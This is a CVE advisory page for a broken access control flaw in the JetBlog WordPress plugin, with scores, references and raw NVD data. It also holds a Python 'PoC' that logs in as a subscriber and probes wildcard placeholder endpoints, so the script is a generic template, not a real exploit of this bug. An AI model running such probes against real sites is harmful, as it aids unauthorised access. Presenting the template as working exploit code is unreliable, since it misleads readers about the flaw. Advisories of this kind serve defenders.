CVE-2025-68503

Description

Missing Authorization vulnerability in Crocoblock JetBlog jet-blog allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects JetBlog: from n/a through <= 2.4.7.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

JetBlog <= 2.4.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-68503 PoC - JetBlog Broken Access Control
# Target: WordPress site with JetBlog plugin <= 2.4.7

target_url = "http://target-wordpress-site.com"

# Step 1: Authenticate as low-privilege user (subscriber role)
login_url = f"{target_url}/wp-login.php"
session = requests.Session()

# Low privilege user credentials
credentials = {
    "log": "low_priv_user",
    "pwd": "password123",
    "wp-submit": "Log In"
}

# Login to WordPress
session.post(login_url, data=credentials)

# Step 2: Exploit missing authorization
# Try to access protected JetBlog functionality
# Replace 'protected-endpoint' with actual vulnerable endpoint
vulnerable_endpoints = [
    "/wp-admin/admin-ajax.php?action=jet_blog_*",
    "/wp-json/jet-blog/v1/*"
]

for endpoint in vulnerable_endpoints:
    exploit_url = f"{target_url}{endpoint}"
    response = session.get(exploit_url)
    
    # Check if access is granted without proper authorization
    if response.status_code == 200:
        print(f"[+] Vulnerable endpoint found: {exploit_url}")
        print(f"[+] Response: {response.text[:500]}")
    else:
        print(f"[-] Endpoint blocked: {exploit_url} (Status: {response.status_code})")

print("\n[!] Note: Replace endpoints with actual JetBlog API paths")
print("[!] This PoC demonstrates the broken access control vulnerability")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68503
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68503
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68503/
[4] VulDB https://vuldb.com/cve/CVE-2025-68503
[5] https://patchstack.com/database/Wordpress/Plugin/jet-blog/vulnerability/wordpress-jetblog-plugin-2-4-7-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68503", "sourceIdentifier": "[email protected]", "published": "2025-12-29T22:15:43.020", "lastModified": "2026-04-23T15:35:55.843", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Crocoblock JetBlog jet-blog allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects JetBlog: from n/a through <= 2.4.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jet-blog/vulnerability/wordpress-jetblog-plugin-2-4-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}